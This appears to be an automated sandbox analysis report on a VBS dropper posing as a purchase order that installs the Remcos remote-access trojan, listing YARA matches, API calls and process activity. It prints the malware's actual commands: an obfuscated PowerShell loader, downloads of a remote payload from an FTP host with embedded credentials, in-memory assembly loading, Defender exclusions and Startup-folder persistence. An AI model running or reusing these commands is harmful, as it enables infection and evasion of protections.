                      Source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                      Source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                      Source: 13.2.powershell.exe.20b6fc69a78.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 13.2.powershell.exe.20b6fc69a78.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                      Source: 25.2.powershell.exe.1425f089f00.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 25.2.powershell.exe.1425f089f00.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                      Source: 20.2.powershell.exe.2a61f81adc8.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 20.2.powershell.exe.2a61f81adc8.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                      Source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                      Source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: Process Memory Space: powershell.exe PID: 4040, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                      Source: Process Memory Space: powershell.exe PID: 3700, type: MEMORYSTRMatched rule: Invoke_Mimikatz date = 2016-08-03, hash1 = f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67, author = Florian Roth, description = Detects Invoke-Mimikatz String, reference = https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz, license = https://creativecommons.org/licenses/by-nc/4.0/
                      Source: Process Memory Space: powershell.exe PID: 3700, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                      Source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                      Source: classification engineClassification label: mal100.rans.spre.troj.spyw.expl.evad.winVBS@35/31@17/6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,22_2_0041798D
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040F4AF GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,22_2_0040F4AF
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041B539 FindResourceA,LoadResource,LockResource,SizeofResource,22_2_0041B539
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,22_2_0041AADB
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x2.ps1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6716:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8076:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7872:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8120:120:WilError_03
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-NACZDT
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xrg05ose.01x.ps1Jump to behavior
                      Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs"
                      Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                      Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs"
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x2.ps1"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c del "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                      Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                      Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]Jump to behavior
